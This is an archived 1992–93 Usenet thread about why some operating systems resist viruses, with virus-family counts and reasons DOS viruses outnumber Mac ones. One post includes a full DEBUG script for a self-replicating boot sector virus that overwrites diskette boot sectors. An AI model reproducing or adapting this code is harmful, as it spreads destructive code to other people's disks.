🚀 go-pugleaf

In article <eronald.725752239@ruble> eronald@fml.tuwien.ac.at (Edmund Ronald) writes:
>
> I am a Paris based computer-interest writer, and I need info about current
>trends on making operating systems virus-resistent. Could people tell me 
>what the lines of research are?

Viruses aren't a real problem in any system that has memory protection and
any way to prevent users from directly writing into system space.  In such
a system, a user would be able to destroy his own area, but wouldn't be
able to touch the OS.

There was a lot of research in the sixties on memory protection systems,
and most modern OS designs use some degree of per-process protection of
core and disk.

Unfortunately the two major microcomputer operating systems are still in
the early 60's level of technology.  This is a marketing problem, not
a technological one.  If people refused to use junk like MS-DOS and Mac OS,
viruses would be almost nonexistant.
--scott

kludge@grissom.larc.nasa.gov (Scott Dorsey) writes:

> Viruses aren't a real problem in any system that has memory protection and
> any way to prevent users from directly writing into system space.  In such
> a system, a user would be able to destroy his own area, but wouldn't be
> able to touch the OS.

While your second statement is, of course, true, the first is not
necessarily so. Viruses are a problem is there is sharing,
functionality, and transitivity of the information flow. If you
prevent any of those, you make the viruses impossible. The only
problem is that you also make the computer not very useful.

Let's consider Unix - a typical system with memory protection,
discretionary access control, and all that jazz. Absolutely nothing in
this system prevents a virus from infecting ALL executable files of a
particular user. Between the different users on one and the same
system the virus will not spread that well, because users don't often
execute programs that belong to other users. An exception is the
"users" bin and root. Once one of those users executes an infected
file, the virus will spread in the system like a wildfire. But again,
those users do not often execute programs that belong to other
users...

Between different systems the virus will have even less chance to
spread, because the sharing of programs occurs mainly in the form of
source code. You do not walk around with infected tapes and do not run
the programs on them on different machines, as you do in the PC world.
That's why, in multi-user systems the worms and the trojans are of
much more concern than the usual viruses.

Memory protection has almost nothing to do with it - ok, without it
the viruses will be easy, just as in MS-DOS, but even if it is
present, this does not prevent the viruses from spreading. What
prevents them is the limited sharing.

Regards,
Vesselin
-- 
Vesselin Vladimirov Bontchev          Virus Test Center, University of Hamburg
Tel.:+49-40-54715-224, Fax: +49-40-54715-226      Fachbereich Informatik - AGN
< PGP 2.1 public key available on request. > Vogt-Koelln-Strasse 30, rm. 107 C
e-mail: bontchev@fbihh.informatik.uni-hamburg.de    D-2000 Hamburg 54, Germany

kludge@grissom.larc.nasa.gov (Scott Dorsey) writes:

>Viruses aren't a real problem in any system that has memory protection and
>any way to prevent users from directly writing into system space.  In such
>a system, a user would be able to destroy his own area, but wouldn't be
>able to touch the OS.

Unless a virus is run by a privileged user, or the virus uses some loophole
in the system, or an infected program is installed with some privileges 
or....etc.  

No operating system can be 100% proof against stupidity.


-- 
--
Fridrik Skulason      Frisk Software International     phone: +354-1-694749
Author of F-PROT      E-mail: frisk@complex.is         fax:   +354-1-28801

In article <bontchev.725813879@fbihh> bontchev@fbihh.informatik.uni-hamburg.de writes:
>Let's consider Unix - a typical system with memory protection,
>discretionary access control, and all that jazz. Absolutely nothing in
>this system prevents a virus from infecting ALL executable files of a
>particular user. Between the different users on one and the same
>system the virus will not spread that well, because users don't often
>execute programs that belong to other users. An exception is the
>"users" bin and root. Once one of those users executes an infected
>file, the virus will spread in the system like a wildfire. But again,
>those users do not often execute programs that belong to other
>users...

Actually, I wouldn't consider Unix to be typical either.  Yes, it's
possible for a user to infect his own personal executable, then share
that executable with another user who then gets his own executables
infected.  True enough.  But, it's not possible for them to infect
the operating system unless one of those user executables is run by
an account with permissions (which should never happen).  The chances
to spread are greatly reduced, and the chances of mass spread through
the operating system are eliminated.

>Between different systems the virus will have even less chance to
>spread, because the sharing of programs occurs mainly in the form of
>source code. You do not walk around with infected tapes and do not run
>the programs on them on different machines, as you do in the PC world.
>That's why, in multi-user systems the worms and the trojans are of
>much more concern than the usual viruses.

This is the case with current Unix systems, but it may not always be the
case, unfortunately.
--scott

In article <1hv07gINN3mn@rave.larc.nasa.gov> kludge@grissom.larc.nasa.gov (Scott Dorsey) writes:
>In article <eronald.725752239@ruble> eronald@fml.tuwien.ac.at (Edmund Ronald) writes:

>Unfortunately the two major microcomputer operating systems are still in
>the early 60's level of technology.  This is a marketing problem, not
>a technological one.  If people refused to use junk like MS-DOS and Mac OS,
>viruses would be almost nonexistant.

I agree in principle that the Mac OS & MS-Dos by their lack of
protection, make viruses easy to spread.  However, there are less than
20 viruses for the mac, all of which can be stopped by a freely
available utility.  While I'm not as familiar with the PC world, there
seem to be at least 50 major strains of viruses, and I don't know of
any single program which can stop all of them.

Does anyone care to comment on why there are so many more MS-Dos
viruses out there, and there doesn't seem to be any universally
accepted tool (like Disinfectant) to stop viruses.  Or is this a false
impression because I use a mac and have taken the time to find out
about the tools available?




Adam Shostack 					adam@das.harvard.edu

What a terrible thing to have lost one's .sig.  Or not to have a .sig
at all.  How true that is.

kludge@grissom.larc.nasa.gov (Scott Dorsey) writes:

> Actually, I wouldn't consider Unix to be typical either.  Yes, it's

Well, my example supposed that the protection in Unix actually works
and that there are no security bugs... After all, it was just a
theoretical example... :-)

> possible for a user to infect his own personal executable, then share
> that executable with another user who then gets his own executables
> infected.  True enough.  But, it's not possible for them to infect
> the operating system unless one of those user executables is run by
> an account with permissions (which should never happen).  The chances
> to spread are greatly reduced, and the chances of mass spread through
> the operating system are eliminated.

This is exactly what I said. The "operating system executables" are
just owned by one of the users. Therefore, infecting them is just as
easy (or just as difficult) as infecting another user. The virus has
to be executed by someone with the proper privileges (the owner of the
files or somebody with higher privileges). And the reduced spread is a
result exactly of the reduced sharing...

> >source code. You do not walk around with infected tapes and do not run
> >the programs on them on different machines, as you do in the PC world.
> >That's why, in multi-user systems the worms and the trojans are of
> >much more concern than the usual viruses.

> This is the case with current Unix systems, but it may not always be the
> case, unfortunately.

Dunno... Once people switch to real operating systems, the viruses
will stop using silly hacks as they are doing now. They will become
better behaved, if they want to spread. But I still doubt that in the
future users will share executables more often than now... Of course,
in this case we might see viruses that cary multiple segments of code,
for most popular platforms - like the Morris worm did...

Regards,
Vesselin
-- 
Vesselin Vladimirov Bontchev          Virus Test Center, University of Hamburg
Tel.:+49-40-54715-224, Fax: +49-40-54715-226      Fachbereich Informatik - AGN
< PGP 2.1 public key available on request. > Vogt-Koelln-Strasse 30, rm. 107 C
e-mail: bontchev@fbihh.informatik.uni-hamburg.de    D-2000 Hamburg 54, Germany

adam@endor.uucp (Adam Shostack) writes:

> available utility.  While I'm not as familiar with the PC world, there
> seem to be at least 50 major strains of viruses, and I don't know of
> any single program which can stop all of them.

:-). You are off by a factor of ten... Currently we recognize at least
592 different virus families for MS-DOS... They might be slightly more
- something about 600, but you get the idea... The last time I looked,
there were only about 35 different viruses for the Mac...

> Does anyone care to comment on why there are so many more MS-Dos
> viruses out there, and there doesn't seem to be any universally
> accepted tool (like Disinfectant) to stop viruses.  Or is this a false
> impression because I use a mac and have taken the time to find out
> about the tools available?

I really don't know why there are fewer Mac viruses than MS-DOS
ones... The difference in the spread of the two types of computers is
not significant enough to explain the huge difference in the numbers
of the existing viruses... Maybe, due to the different price, the two
kinds of computers are just owned by different kinds of people... My
boss says that the Mac owners love their machines (unlike the IBM PC
owners who hate theirs <grin>), that's why they tend not to write
destructive code from them... :-) This was a joke, please don't start
a flame war.

You are right that in the MS-DOS world there is no program that can
stop all known viruses. The reason is that there is not such thing as
"all known viruses". New viruses for the IBM PC appear everagely 2-3
per day. Nobody can update their anti-virus programs that fast.

Another thing that makes me wonder is why most Mac viruses are pretty
silly. OK, some of them have the equivalent of tunneling, but none of
the advanced techniques used in MS-DOS like stealth, armour, slow
infection, sparse infection, polymorphism, and so on are used... OK,
stealth is probably not easy, having in mind how MacOS works, slow and
sparce infections are not needed, since integrity checkers are not
used much, but why not polymorphism? It is much easier to do with the
690x0 CPU than it is to do it with 80x86...

Regards,
Vesselin

P.S. This discussion probably belongs to comp.virus.
-- 
Vesselin Vladimirov Bontchev          Virus Test Center, University of Hamburg
Tel.:+49-40-54715-224, Fax: +49-40-54715-226      Fachbereich Informatik - AGN
< PGP 2.1 public key available on request. > Vogt-Koelln-Strasse 30, rm. 107 C
e-mail: bontchev@fbihh.informatik.uni-hamburg.de    D-2000 Hamburg 54, Germany

bontchev@fbihh.informatik.uni-hamburg.de (Vesselin Bontchev) writes:

> :-). You are off by a factor of ten... Currently we recognize at least
> 592 different virus families for MS-DOS... They might be slightly more
> - something about 600, but you get the idea... The last time I looked,

Oops, silly me, I completely forgot the 56 families of boot sector
viruses... :-)

Regards,
Vesselin
-- 
Vesselin Vladimirov Bontchev          Virus Test Center, University of Hamburg
Tel.:+49-40-54715-224, Fax: +49-40-54715-226      Fachbereich Informatik - AGN
< PGP 2.1 public key available on request. > Vogt-Koelln-Strasse 30, rm. 107 C
e-mail: bontchev@fbihh.informatik.uni-hamburg.de    D-2000 Hamburg 54, Germany

[ This is a repost...  the older version has been cancelled because of
  a material typographical error and so I could make a few last minute
  revisions. ;) ]

In article <1992Dec31.172536.16049@das.harvard.edu> adam@endor.uucp
(Adam Shostack) writes:
|
|  Does anyone care to comment on why there are so many more MS-Dos
|  viruses out there, and there doesn't seem to be any universally
|  accepted tool (like Disinfectant) to stop viruses.  Or is this a false
|  impression because I use a mac and have taken the time to find out
|  about the tools available?

Three factors come immediately to mind.

The first is the difference in the number of PC compatible units and
Macintosh units in service.  I would guess that the rate of spread for
a virus would be proportional to the rate at which users share disks.
I suspect this, in turn, would be proportional to the square of the
number of units.  (If someone takes me up on this point, I'll explain
my reasoning.)  Since there are more PC units than Mac units, PC viri
spread at a much greater rate.

Even though the Mac OS seems to have some virus-friendly features (for
example, if I'm not mistaken, a certain program on a floppy--the
resource fork of a "desktop" object--is executed whenever it is popped
into the machine, and this would allow a virus to become active
without any "booting" taking place), the difference in sheer market
size has a number of effects.  First, there are more PC virus writers
than Mac virus writers in part because there are more PCs than Macs.
Second, a virus writer--motivated, presumably, by the possibility of
immortality through infamy--writes for the platform best able to
spread his or her creation.

The second factor, and a significant one at that, is the geographic
distribution of these platforms.  Frankly, the Macintosh isn't really
popular in Bulgaria, where virus writing *and malicious distribution*
is a perfectly legal hobby.  Some people have estimated that 90% of
the new (innovative) viri that have been produced in recent years have
been produced in virus-factory nations where the PC compatible has a
virtual monopoly.  Hence, the really devious viri are PC viri.

The third factor is the relative effort involved in writing a PC virus
and a Macintosh virus.  Most DOS implementations come with
"DEBUG.EXE", a handy monitor utility that allows for limited assembly
coding.  Also, since DOS is such a basic operating system, most DOS
programmers know a great deal about machine interals (because they
have to).  Finally, since DOS is so damn popular and so bare-boned, it
is profitable and easy to write comprehensive ultra-technical
reference manuals that tell a programmer everything he or she ever
wanted to know about the PC's deepest, darkest secrets.

By way of illustration, I have included, after the main text of this
post, a simple experimental PC virus you can make at home.  I wrote
this in about fifteen minutes (and with a bad head cold, no less).
The information I needed I got from a $20 reference book, though the
same information is available from numerous free text files.  Anyone
with a functioning human brain, a bit of spare time, and some
rudimentary knowledge of machine language programming on the PC
platform can try their hand at modifying an existing PC boot sector
virus, like "Stoned", and release a variant that may or may not be
detectable by existing anti-viral software.

Compare this to the world of Macintosh programming.  The Mac isn't
bundled with any "DEBUG.EXE" counterpart.  Relatively fewer Mac
programmers learn assembly language.  Moreover, most of the people
programming for the Mac have shelled out $300 for their development
software: they aren't likely to be high school closet crackers.

What's the result?  Well, PC anti-viral software programmers look like
idiots, because their software is obsolete hours after it's released,
and the number of varieties of PC viri far outnumber those on the Mac.
Mac users, in turn, look around and wonder what all the fuss is about.

One estimate, posted in reply to your article, gave as around 500 the
number of PC virus families which have been catalogued.  I suspect the
actual number of "successful" virus families is many times larger than
this: lack of communication or containment in large, computer-naive
organizations have probably conspired to keep the others secret.
While the Macintosh virus universe appears to be made up of fifty or
so viri from time immemorial, the PC virus universe is made up of
thousands of complex viri families and their associated mutations with
more being created every day.

From what little I know of Mac OS, it would be a *much* friendlier
virus writing environment than the PC, and there is certainly nothing
special about the Mac that makes it easier to control the spread of
new viri.  In conclusion, you can thank simple statistical principles
(and the inexplicable popularity of the PC platform) for the
relatively virus-free Macs.

Kevin Buhr <buhr@ccu.UManitoba.CA>

---

As promised, here's a simple, relatively harmless, experimental PC
boot virus.  The following procedure will write a copy of the
experimental virus to a disk in drive A.

When this disk is booted, it tells the user to insert a system
diskette and press a key.  When the user does this, the experimental
virus writes a copy of itself to the new disk and reboots.  Again, the
user is told that he or she must insert a system disk and press a key.
This dumb little game continues until the user runs out of system
disks or gets suspicious.  The experimental virus doesn't install
itself in memory and doesn't change the hard drive: all it does is
modify diskette boot sectors.  As an added precaution, the
experimental virus announces itself as such, and explains to the user
what he or she should do to avoid infection.

I think this virus illustrates a few important points:

1.  I am in desperate need of attention and am also boastful about the
most trivial of my accomplishments.

2.  The user is an integral part of the virus's life cycle.  A
computer system can be ridiculously secure, the operating system can
be an iron curtain, but it won't mean anything if the virus can trick
the user into doing something he or she shouldn't.

3.  Viri aren't mysterious, arcane programs written by programming
wizards.  Most are dull little toys that are easily outwitted with
regular backups and a few basic precautions.  The rest are clever
little toys that are easily outwitted with regular backups and a few
basic precautions.

4.  Writing a new PC virus is very easy, "DEBUG" is the product of an
evil mind, and it and all those Cap'n Crunch whistles should be burned
in a great big bonfire.

--------- CUT HERE ---------

Permission is granted to create this experimental PC boot sector virus
without malicious intent on a single-user PC compatible computer owned
by you and for your personal, experimental use.  Any modified versions
must display the original warning message and give a possibly
unknowledgeable user a reasonable chance to prevent the virus from
spreading.

Permission is granted to distribute this experimental PC boot sector
virus to others in either an active form (on a floppy disk boot
sector) or in an inactive form (as a binary image contained in a file
or as a text file explaining how to recreate it, for example) provided
the receiver is made fully aware of the nature of the experimental
virus, it is accompanied by this text, and my name is not associated
with the experimental virus.

In particular, you are _not_ permitted to use this experimental virus
or any derivative work in such a way that a user who is not aware of
its nature may reasonably be expected to execute its code.

I accept no responsibility for the use of this experimental virus or
any derivative work.  If you are unsure of your ability to understand
the workings of this experimental virus and to control its spread,
don't use it: take it at face value and trust that it works the way I
said.

>> <C:\> copy con virus.mak
>> a 100
>> jmp 2a1      ; jump ahead to the rest of the program
>>
>> e 103 a 7 'WARNING:  This is an experimental boot sector virus.' a d
>> e 13b 7   '          Ignore the instructions below, remove the' a d
>> e 171 7   '          diskette from drive A, and shut off your' a d
>> e 1a6     '          computer.' a d
>> e 1bb a   '          Restart your computer from a "safe" diskette.' a d
>> e 1f5 a   '          If you insert a system diskette and press a key,' a d
>> e 232     '          that diskette will become infected!!' a d a a
>> e 264 a   'Non-system disk.' a d
>> e 277 a   'Insert system disk and press any key.' a d a 0
>> a 2a1
>> mov ax,7c0   ; boot sectors are loaded at paragraph 07c0h
>> push ax      ; (just think of this section as housekeeping)
>> push ax
>> pop es
>> pop ds
>> mov si,3     ; display warning message and non-system disk error
>> mov al,[si]  ; (this would be the bait)
>> or al,al
>> jz 2bb
>> mov ah,0e
>> mov bx,1
>> int 10
>> inc si
>> jmp 2ab
>> xor ah,ah    ; wait for user to press a key
>> int 16       ; (at this point, user will have inserted a new disk)
>> or al,al
>> jz 2bb
>> xor dx,dx    ; write a copy of this virus to the boot sector
>> mov cx,1
>> mov ax,301
>> xor bx,bx
>> int 13
>> jnb 2d6
>> cmp ah,06    ; we check for one error code and retry if we get it:
>> jz 2c3       ; error 6 is a "disk was changed" code, which we can expect.
>> int 19       ; and now, we restart the computer
>>
>> w 100,0,0,1  ; write the program we created to the boot sector on drive A
>> q
>> ^Z
>> <C:\>
>>
>> [ At this point, insert a junkable formatted floppy disk in drive A... ]
>>
>> <C:\> debug <virus.mak

Now, you have infected the disk with a simple experimental boot sector
virus.  To try it out, reboot from the floppy.  When prompted, insert
another junk diskette (which must be already formatted) and press any
key.  Try shutting off your computer and rebooting from the second
diskette.  Wow!  The experimental virus has spread.

When you've finished playing with it, you can either avoid booting the
infected diskettes (or heed the warning message and follow
instructions if you forget) or you can copy your files off, reformat
the disk, and copy your files back on.

If you know what you're doing, you can always convince a favorite
utility to rewrite the floppy boot sector.  Most anti-virus software
can be instructed to do this for you.

Don't try to infect a bootable floppy disk unless you don't want to
boot from it any more.  This experimental virus erases existing boot
sectors (unlike Stoned, which puts them aside where they are still
accessible and can be recovered by the appropriate software).

adam@endor.uucp (Adam Shostack) writes:

>available utility.  While I'm not as familiar with the PC world, there
>seem to be at least 50 major strains of viruses, and I don't know of
>any single program which can stop all of them.

50 ?

500 major strains (families), with around 2000 variants in total is more
like it...


-- 
--
Fridrik Skulason      Frisk Software International     phone: +354-1-694749
Author of F-PROT      E-mail: frisk@complex.is         fax:   +354-1-28801

In article <1992Dec31.172536.16049@das.harvard.edu> adam@endor.uucp (Adam Shostack) writes:
> Does anyone care to comment on why there are so many more MS-Dos
> viruses out there,

There are more MS-DOS *systems* out there, which makes them more desirable
targets. Mac users tend to be less technically oriented, which further reduces
the pool of virus writers. If the systems were equally popular, I would expect
many more Mac viruses because the Mac has so many more interesting places to
hide viruses.

The Amiga has even fewer viruses out than the Mac, despite some *lovely*
hooks for viruses to hang from. It's simply a matter of popularity.

UNIX viruses are by no means impossible... neither are viruses hidden in
source code (do you REALLY read all of GCC?).
-- 
Peter da Silva                                            `-_-'
Ferranti International Controls Corporation                'U` 
Sugar Land, TX  77487-5012 USA
+1 713 274 5180                            "Zure otsoa besarkatu al duzu gaur?"

peter@ferranti.com (peter da silva) writes:

> The Amiga has even fewer viruses out than the Mac, despite some *lovely*
> hooks for viruses to hang from. It's simply a matter of popularity.

That's not true, sorry. It's exactly the other way around. There are
about 150 Amiga viruses and about 35 Mac viruses.

> UNIX viruses are by no means impossible... neither are viruses hidden in
> source code (do you REALLY read all of GCC?).

In fact, "source code viruses" already exist... even in MS-DOS. We
have here in our collection one shell script infector for Unix and
four BAT infectors for MS-DOS...

Regards,
Vesselin
-- 
Vesselin Vladimirov Bontchev          Virus Test Center, University of Hamburg
Tel.:+49-40-54715-224, Fax: +49-40-54715-226      Fachbereich Informatik - AGN
< PGP 2.1 public key available on request. > Vogt-Koelln-Strasse 30, rm. 107 C
e-mail: bontchev@fbihh.informatik.uni-hamburg.de    D-2000 Hamburg 54, Germany